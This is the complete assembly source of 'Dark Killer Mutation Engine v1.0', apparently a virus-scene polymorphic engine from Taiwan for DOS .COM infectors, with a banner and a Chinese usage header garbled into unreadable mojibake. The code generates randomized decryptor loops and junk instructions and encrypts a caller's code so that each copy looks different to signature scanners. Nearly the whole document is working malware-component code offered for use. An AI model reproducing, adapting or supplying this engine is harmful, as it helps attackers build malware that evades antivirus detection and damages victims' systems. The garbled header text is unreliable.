
                                                                     P.005

         TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
         PT                                                        OT
         VP     x W  O f r  ´   frx    C       TP
         oV                                                        PV
         TO                 DKME v1.0                  Vo
         pT                                                        OT
         VP                     by Dark Killer                     VP
         OV                                                        OV
         OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP


        ==============================================================

        ]bǳƩ~p, ҥH̪֥q... sı
        oǩǪ... oܤh... JD, ڧ DKME 1.0 l
        XXӵjaݬ... n ӤegF... ФnoӤj
        n, HKêw...

        ǤJѼ:
        DS:DX   => sX{
        ES:0000 => sX{
        BX      => ɮת
        CX      => sX

        Ǧ^Ѽ:
        DS:DX   => wsn{
        CX      => wsX
        AX      => |Q...

        `Nƶ:
        1.ҨϥΪwޥ DSMEBDSCE , ҥHbO
          餤 16 ....
        2.ȥΩ .COM ɪh, ]OѽXOѤF[W
          "CS:" , ۤvh[a!
        3.ڬO MASM 6.0Beta sĶ...

         Bugs  DS a! ڥi|@}l...

        DKME V1.0 wk:

               CALL DELTA
        DELTA: POP BP
               SUB BP,OFFSET DELTA

        DSME V1.0 wk:  (ӬOSO...)

               CALL DELTA
        DELTA: POP AX
               SUB AX,OFFSET DELTA
               MOV CL,04h
               SHR AX,CL
               MOV CX,CS
               ADD AX,CX
               PUSH AX
               MOV AX,OFFSET CON
               PUSH AX
               RETF
          CON:
-------------------------------------------------------------------------------
{ѻ:

 DKME           : Sn...
 DKME_TRASH     : syUX@ӰƵ{, OҳyXXu|vzZX
 DKME_TRASH_F_RE: ] DKME_TRASH_FLAG {XӦh, ҥHNέӰƵ{...
 DKME_TRASH_FLAG: syUX@ӰƵ{, iOҳyXXuiv|zZX
 DKME_END       : Sn...
 ENCRYATION     : sX@q{X...
 RND            : üƪƵ{!
 WILL_ENC       : ]wuѽXOv (ADD/XOR/SUB/INC/DEC/NEG/NOT/ROR/ROL)
                  ]ɲ, ӥ WILL_DEC...
 WILL_INC       : ]wuWOv
 WILL_JNZ       : ]wuDOv
 WILL_MOV       : ]wuѽXmȦsv (BX/SI/DI)
                  󤣥 BP O? u] BP  !@#$%^...

-------------------------------------------------------------------------------
DKMTE           SEGMENT
                ASSUME  CS:DKMTE
                PUBLIC  DKME
                PUBLIC  DKME_END
                ORG     0000h

                DB      "    Dark Killer Mutation Engine Version 1.0    ",0Dh,0Ah
                DB      " Written By Dark Killer in Taiwan, ShinChuang. ",00h

DKME_OFFSET_CMP DW      0000h
DKME_OFFSET_ENC DB      00h     ; 00h = NOT , 01h = NEG , 02h = INC , 03h = DEC
                                ; ^^^^^^^^^   ^^^^^^^^^   ^^^^^^^^^   ^^^^^^^^^
                                ; 04h = ADD , 05h = SUB , 06h = ROR , 07h = ROL
                                ; ^^^^^^^^^   ^^^^^^^^^   ^^^^^^^^^   ^^^^^^^^^
                                ; 08h = XOR
                                ; ^^^^^^^^^
DKME_OFFSET_KEY DB      00h
DKME_OFFSET_LOP DW      0000h
DKME_OFFSET_STA DW      0000h
DKME_OFFSET_VAL DB      00h

DKME            PROC    NEAR
                PUSHF
                PUSH    BP
                PUSH    DI
                PUSH    SI
DKME_SetUp:
                CALL    DKME_NEXT1              ; w...
DKME_NEXT1:
                POP     BP
                SUB     BP,OFFSET DKME_NEXT1

                CLD
                CLI
                XOR     DI,DI

                MOV     SI,DX
DKME_Begin:
;==============================================================================
                CALL    DKME_TRASH_FLAG
                CALL    DKME_TRASH_FLAG
;===[MOV BX|SI|DI,????]========================================================
WILL_MOV:
                IN      AL,40h
                AND     AL,07h
                CMP     AL,03h
                JE      DKME_CON1
                CMP     AL,06h
                JE      DKME_CON1
                CMP     AL,07h
                JNE     WILL_MOV
DKME_CON1:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_KEY],AL
                ADD     AL,0B8h
                STOSB
                MOV     [BP+OFFSET DKME_OFFSET_STA],DI
                MOV     AX,BX
                STOSW
;==============================================================================
                CALL    DKME_TRASH
;===[enc BYTE PTR [BX|BP|SI|DI+????,??]========================================
WILL_ENC:
                MOV     [BP+OFFSET DKME_OFFSET_LOP],DI
                CALL    RND
                AND     AL,0Fh
                OR      AL,AL
                JE      WILL_ENC_NOT
                CMP     AL,01h
                JE      WILL_ENC_NEG
                CMP     AL,02h
                JE      WILL_ENC_INC
                CMP     AL,03h
                JE      WILL_ENC_DEC
                CMP     AL,04h
                JE      WILL_ENC_ADD
                CMP     AL,05h
                JE      WILL_ENC_SUB
                CMP     AL,06h
                JE      WILL_ENC_ROR
                CMP     AL,07h
                JE      WILL_ENC_ROL
                CMP     AL,08h
                JE      WILL_ENC_XOR
                JMP     SHORT WILL_ENC
WILL_ENC_NOT:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],00h

                MOV     AL,0F6h
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,16h
                STOSB

                CALL    DKME_TRASH

                MOV     AL,0FEh
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,06h
                STOSB
                JMP     WILL_INC
WILL_ENC_NEG:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],01h

                MOV     AL,0F6h
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,0Eh
                STOSB

                CALL    DKME_TRASH

                MOV     AL,0FEh
                STOSB
                CALL    WILL_ENC_RE
                DEC     AX
                DEC     AX
                STOSB
                JMP     WILL_INC
WILL_ENC_INC:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],02h

                MOV     AL,0FEh
                STOSB
                CALL    WILL_ENC_RE
                DEC     AX
                DEC     AX
                STOSB
                JMP     WILL_INC
WILL_ENC_DEC:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],03h

                MOV     AL,0F6h
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,16h
                STOSB

                CALL    DKME_TRASH

                MOV     AL,0F6h
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,0Eh
                STOSB
                JMP     SHORT WILL_INC
WILL_ENC_ADD:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],04h

                MOV     AL,080h
                STOSB
                CALL    WILL_ENC_RE
                DEC     AX
                DEC     AX
                STOSB
                CALL    RND
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_VAL],AL
                STOSB
                JMP     SHORT WILL_INC
WILL_ENC_SUB:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],05h

                MOV     AL,80h
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,26h
                STOSB
                CALL    RND
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_VAL],AL
                STOSB
                JMP     SHORT WILL_INC
WILL_ENC_ROR:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],06h

                MOV     AL,0D0h
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,06h
                STOSB
                JMP     SHORT WILL_INC
WILL_ENC_ROL:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],07h

                MOV     AL,0D0h
                STOSB
                CALL    WILL_ENC_RE
                DEC     AX
                DEC     AX
                STOSB
                JMP     SHORT WILL_INC
WILL_ENC_XOR:
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],08h

                MOV     AL,80h
                STOSB
                CALL    WILL_ENC_RE
                ADD     AL,2Eh
                STOSB
                CALL    RND
                MOV     BYTE PTR [BP+OFFSET DKME_OFFSET_VAL],AL
                STOSB
;===[INC BX|BP|SI|DI]==========================================================
WILL_INC:
                CALL    DKME_TRASH

                CALL    RND
                AND     AL,03h
                OR      AL,AL
                JE      WILL_INC_00
                CMP     AL,01h
                JE      WILL_INC_01
                CMP     AL,02h
                JE      WILL_INC_02
                CMP     AL,03h
                JE      WILL_INC_03
WILL_INC_00:
                MOV     AL,0F7h
                STOSB
                MOV     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                ADD     AL,0D0h
                STOSB

                CALL    DKME_TRASH

                MOV     AL,0F7h
                STOSB
                MOV     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                ADD     AL,0D8h
                STOSB
                JMP     SHORT WILL_CMP
WILL_INC_01:
                MOV     AL,81h
                STOSB
                MOV     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                ADD     AL,0C0h
                STOSB
                MOV     AX,0001h
                STOSW
                JMP     SHORT WILL_CMP
WILL_INC_02:
                MOV     AL,83h
                STOSB
                MOV     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                ADD     AL,0E8h
                STOSB
                MOV     AL,0FFh
                STOSB
                JMP     SHORT WILL_CMP
WILL_INC_03:
                MOV     AL,83h
                STOSB
                MOV     AH,01h
                MOV     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                ADD     AL,0C0h
                STOSW
;===[CMP BX|SI|DI,????]========================================================
WILL_CMP:
                CALL    DKME_TRASH

                MOV     AL,81h
                STOSB
                MOV     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                ADD     AL,0F8h
                STOSB
                MOV     [BP+OFFSET DKME_OFFSET_CMP],DI
                MOV     AX,BX
                STOSW
;==============================================================================
                CALL    DKME_TRASH_NO
                CALL    DKME_TRASH_NO
;===[Jxx ????]=================================================================
WILL_JNZ:
                CALL    RND
                AND     AL,01h
                CMP     AL,01h
                JE      WILL_JNZ_01
WILL_JNZ_00:
                MOV     AL,72h
                STOSB
                JMP     SHORT DKME_CON3
WILL_JNZ_01:
                MOV     AL,75h
                STOSB
DKME_CON3:
                MOV     AX,DI
                INC     AX
                SUB     WORD PTR [BP+OFFSET DKME_OFFSET_LOP],AX
                MOV     AX,WORD PTR [BP+OFFSET DKME_OFFSET_LOP]
                STOSB
;==============================================================================
                CALL    DKME_TRASH
;===[Will Encryation]==========================================================
                XCHG    SI,AX
                MOV     SI,[BP+OFFSET DKME_OFFSET_STA]
                ADD     ES:[SI],DI
                MOV     SI,[BP+OFFSET DKME_OFFSET_CMP]
                ADD     ES:[SI],DI
                ADD     ES:[SI],CX
                XCHG    SI,AX
;===[Encryation]===============================================================
ENCRYATION:
                PUSH    CX
                PUSH    DI
                PUSH    SI
                REP     MOVSB
                POP     SI
                POP     DI
                POP     CX
ENCRYATION_LOOP_POINT:
                LODSB
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],00h
                JE      ENCRYATION_00
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],01h
                JE      ENCRYATION_01
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],02h
                JE      ENCRYATION_02
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],03h
                JE      ENCRYATION_03
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],04h
                JE      ENCRYATION_04
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],05h
                JE      ENCRYATION_05
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],06h
                JE      ENCRYATION_06
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],07h
                JE      ENCRYATION_07
                CMP     BYTE PTR [BP+OFFSET DKME_OFFSET_ENC],08h
                JE      ENCRYATION_08
ENCRYATION_00:
                NOT     AL
                JMP     SHORT DKME_CON5
ENCRYATION_01:
                NEG     AL
                JMP     SHORT DKME_CON5
ENCRYATION_02:
                DEC     AX
                JMP     SHORT DKME_CON5
ENCRYATION_03:
                INC     AX
                JMP     SHORT DKME_CON5
ENCRYATION_04:
                SUB     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_VAL]
                JMP     SHORT DKME_CON5
ENCRYATION_05:
                ADD     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_VAL]
                JMP     SHORT DKME_CON5
ENCRYATION_06:
                ROL     AL,01h
                JMP     SHORT DKME_CON5
ENCRYATION_07:
                ROR     AL,01h
                JMP     SHORT DKME_CON5
ENCRYATION_08:
                XOR     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_VAL]
DKME_CON5:
                STOSB
                LOOP    ENCRYATION_LOOP_POINT
;===[OK!]======================================================================
ALL_ARE_OK:
                MOV     CX,DI
                XOR     DX,DX
                PUSH    ES
                POP     DS

                POP     SI
                POP     DI
                POP     BP
                POPF
                RET
DKME            ENDP

DKME_TRASH_NO   PROC    NEAR
DKME_TRASH_NO_LOOP:
                CALL    RND
                AND     AL,07h
                OR      AL,AL
                JE      DKME_TRASH_NO_00
                CMP     AL,01h
                JE      DKME_TRASH_NO_01
                CMP     AL,02h
                JE      DKME_TRASH_NO_02
                CMP     AL,03h
                JE      DKME_TRASH_NO_03
                CMP     AL,04h
                JE      DKME_TRASH_NO_04
                CMP     AL,05h
                JE      DKME_TRASH_NO_05
                JMP     SHORT DKME_TRASH_NO_LOOP
DKME_TRASH_NO_00:                               ; MOV ??,????
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_NO_00
                CMP     AL,04h
                JE      DKME_TRASH_NO_00
                ADD     AL,0B8h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_NO_01:                               ; NOT ??
                MOV     AL,0F7h
                STOSB
DKME_TRASH_NO_01_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_NO_01_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_NO_01_LOOP
                ADD     AL,0D0h
                STOSB
                RET
DKME_TRASH_NO_02:                               ; CWD , CBW
                CALL    RND
                AND     AL,01h
                ADD     AL,98h
                STOSB
                RET
DKME_TRASH_NO_03:                               ; Jxx $+2
                CALL    RND
                AND     AL,07h
                ADD     AL,70h
                XOR     AH,AH
                STOSW
                RET
DKME_TRASH_NO_04:
                MOV     AL,8Bh
                STOSB
DKME_TRASH_NO_04_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_NO_04_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_NO_04_LOOP
                SHL     AL,01h
                SHL     AL,01h
                SHL     AL,01h
                ADD     AL,06h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_NO_05:
                CALL    RND
                AND     AL,07h
                ADD     AL,50h
                STOSB
                ADD     AL,08h
                STOSB
                RET
DKME_TRASH_NO   ENDP

DKME_TRASH_FLAG PROC    NEAR
                CALL    RND
                CMP     AL,80h
                JAE     DKME_CON4
                CALL    DKME_TRASH_NO
                RET
DKME_CON4:
                CALL    RND
                AND     AL,1Fh
                OR      AL,AL
                JE      DKME_TRASH_FLAG_00
                CMP     AL,01h
                JE      DKME_TRASH_FLAG_01
                CMP     AL,02h
                JE      DKME_TRASH_FLAG_02
                CMP     AL,03h
                JE      DKME_TRASH_FLAG_03
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_04
                CMP     AL,05h
                JE      DKME_TRASH_FLAG_05
                CMP     AL,06h
                JE      DKME_TRASH_FLAG_06
                CMP     AL,07h
                JE      DKME_TRASH_FLAG_07
                CMP     AL,08h
                JE      DKME_TRASH_FLAG_08
                CMP     AL,09h
                JE      DKME_TRASH_FLAG_09
                CMP     AL,0Ah
                JE      DKME_TRASH_FLAG_0A
                CMP     AL,0Bh
                JE      DKME_TRASH_FLAG_0B
                CMP     AL,0Ch
                JE      DKME_TRASH_FLAG_0C
                CMP     AL,0Dh
                JE      DKME_TRASH_FLAG_0D
                CMP     AL,0Eh
                JE      DKME_TRASH_FLAG_0E
                CMP     AL,0Fh
                JE      DKME_TRASH_FLAG_0F
                CMP     AL,10h
                JE      DKME_TRASH_FLAG_10
                CMP     AL,11h
                JE      DKME_TRASH_FLAG_11
                CMP     AL,12h
                JE      DKME_TRASH_FLAG_12
                CMP     AL,13h
                JE      DKME_TRASH_FLAG_13
                CMP     AL,14h
                JE      DKME_TRASH_FLAG_14
                CMP     AL,15h
                JE      DKME_TRASH_FLAG_15
                CMP     AL,16h
                JE      DKME_TRASH_FLAG_16
                CMP     AL,17h
                JE      DKME_TRASH_FLAG_17
                CMP     AL,18h
                JE      DKME_TRASH_FLAG_18
                CMP     AL,19h
                JE      DKME_TRASH_FLAG_19
                CMP     AL,1Ah
                JE      DKME_TRASH_FLAG_1A
                CMP     AL,1Bh
                JE      DKME_TRASH_FLAG_1B
                CMP     AL,1Ch
                JE      DKME_TRASH_FLAG_1C
                CMP     AL,1Dh
                JE      DKME_TRASH_FLAG_1D
                CMP     AL,1Eh
                JE      DKME_TRASH_FLAG_1E
                JMP     DKME_TRASH_FLAG_1F
DKME_TRASH_FLAG_00:                             ; Flag
                CALL    RND
                AND     AL,07h
                CMP     AL,06h
                JAE     DKME_TRASH_FLAG_00
                ADD     AL,0F8h
                STOSB
                RET
DKME_TRASH_FLAG_01:                             ; NOP
                MOV     AX,90h
                STOSB
                RET
DKME_TRASH_FLAG_02:                             ; INT 03h
                MOV     AL,0CCh
                STOSB
                RET
DKME_TRASH_FLAG_03:                             ; SHR ??,1
                MOV     AL,0D1h
                STOSB
DKME_TRASH_FLAG_03_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_03_LOOP
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_03_LOOP
                ADD     AL,0E8h
                STOSB
                RET
DKME_TRASH_FLAG_04:                             ; IMUL ??
                MOV     AL,0F7h
                STOSB
DKME_TRASH_FLAG_04_LOOP:
                CALL    RND
                AND     AL,07h
                ADD     AL,0E8h
                STOSB
                RET
DKME_TRASH_FLAG_05:                             ; SHR ??,CL
                MOV     AL,0D3h
                STOSB
DKME_TRASH_FLAG_05_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_05_LOOP
                ADD     AL,0E8h
                STOSB
                RET
DKME_TRASH_FLAG_06:
                MOV     AL,81h
                STOSB
DKME_TRASH_FLAG_06_LOOP:                        ; XOR ??,????
                CALL    RND
                AND     AL,07h
                OR      AL,AL
                JE      DKME_TRASH_FLAG_06_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_06_LOOP
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_06_LOOP
                ADD     AL,0F0h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_FLAG_07:                             ; TEST ??,????
                MOV     AL,0F7h
                STOSB
                CALL    RND
                AND     AL,07h
                ADD     AL,0C0h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_FLAG_08:                             ; OR ??,????
                MOV     AL,81h
                STOSB
DKME_TRASH_FLAG_08_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_08_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_08_LOOP
                ADD     AL,0C8h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_FLAG_09:                             ; AND ??,????
                MOV     AL,81h
                STOSB
DKME_TRASH_FLAG_09_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_09_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_09_LOOP
                ADD     AL,0E0h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_FLAG_0A:                             ; NEG ??
                MOV     AL,0F7h
                STOSB
DKME_TRASH_FLAG_0A_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_0A_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_0A_LOOP
                ADD     AL,0D8h
                STOSB
                RET
DKME_TRASH_FLAG_0B:                             ; MUL ??
                MOV     AL,0F7h
                STOSB
DKME_TRASH_FLAG_0B_LOOP:
                CALL    RND
                AND     AL,07h
                ADD     AL,0E0h
                STOSB
                RET
DKME_TRASH_FLAG_0C:                             ; ADD ??,????
                MOV     AL,81h
                STOSB
DKME_TRASH_FLAG_0C_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_0C_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_0C_LOOP
                ADD     AL,0C0h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_FLAG_0D:                             ; ADC ??,????
                MOV     AL,81h
                STOSB
DKME_TRASH_FLAG_0D_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_0D_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_0D_LOOP
                ADD     AL,0D0h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_FLAG_0E:                             ; SBB ??,????
                MOV     AL,81h
                STOSB
DKME_TRASH_FLAG_0E_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_0E_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_0E_LOOP
                ADD     AL,0D8h
                STOSB
                CALL    DKME_TRASH_F_RE
                RET
DKME_TRASH_FLAG_0F:                             ; DEC ??
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_0F
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_0F
                ADD     AL,48h
                STOSB
                RET
DKME_TRASH_FLAG_10:                             ; INC ?? & DEC ??
                CALL    RND
                AND     AL,07h
                ADD     AL,40h
                STOSB
                ADD     AL,08h
                STOSB
                RET
DKME_TRASH_FLAG_11:                             ; NOT ?? & NOT ??
                MOV     AL,0F7h
                STOSB
DKME_TRASH_FLAG_11_LOOP:
                CALL    RND
                AND     AL,07h
                ADD     AL,0D8h
                STOSB
                MOV     AH,0F7h
                XCHG    AH,AL
                STOSW
                RET
DKME_TRASH_FLAG_12:                             ; NEG ?? & NEG ??
                MOV     AL,0F7h
                STOSB
                CALL    RND
                AND     AL,07h
                ADD     AL,0D8h
                STOSB
                MOV     AH,0F7h
                XCHG    AH,AL
                STOSW
                RET
DKME_TRASH_FLAG_13:                             ; PUSH ?? & POP ??
                CALL    RND
                AND     AL,07h
                ADD     AL,50h
                STOSB
DKME_TRASH_FLAG_13_LOOP:
                CALL    RND
                AND     AL,07h
                CMP     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                JE      DKME_TRASH_FLAG_13_LOOP
                CMP     AL,04h
                JE      DKME_TRASH_FLAG_13_LOOP
                ADD     AL,58h
                STOSB
                RET
DKME_TRASH_FLAG_14:
DKME_TRASH_FLAG_15:
DKME_TRASH_FLAG_16:
DKME_TRASH_FLAG_17:
DKME_TRASH_FLAG_18:
DKME_TRASH_FLAG_19:
DKME_TRASH_FLAG_1A:
DKME_TRASH_FLAG_1B:
DKME_TRASH_FLAG_1C:
DKME_TRASH_FLAG_1D:
DKME_TRASH_FLAG_1E:
DKME_TRASH_FLAG_1F:
                RET
DKME_TRASH_FLAG ENDP

DKME_TRASH_F_RE PROC    NEAR
                CALL    RND
                STOSW
                RET
DKME_TRASH_F_RE ENDP

RND             PROC    NEAR
                PUSH    CX
                PUSH    DX
                XOR     AX,AX
                INT     1Ah
                IN      AL,40h
                MOV     AH,AL
                IN      AL,40h
                ROR     AX,CL
                XOR     AX,DX
                PUSHF
                POP     CX
                ADD     AX,CX
                POP     DX
                POP     CX
                RET
RND             ENDP

WILL_ENC_RE     PROC    NEAR
                MOV     AL,BYTE PTR [BP+OFFSET DKME_OFFSET_KEY]
                CMP     AL,03h
                JNE     DKME_CON6
                MOV     AL,09h
DKME_CON6:
                RET
WILL_ENC_RE     ENDP

DKME_TRASH      PROC    NEAR
                PUSH    CX
                MOV     CX,0004h
DKME_TRASH_LOOP_POINT1:
                CALL    DKME_TRASH_FLAG
                LOOP    DKME_TRASH_LOOP_POINT1
                POP     CX
                RET
DKME_TRASH      ENDP

DKME_END        PROC    NEAR
DKME_END        ENDP

DKMTE           ENDS
                END
-------------------------------------------------------------------------------


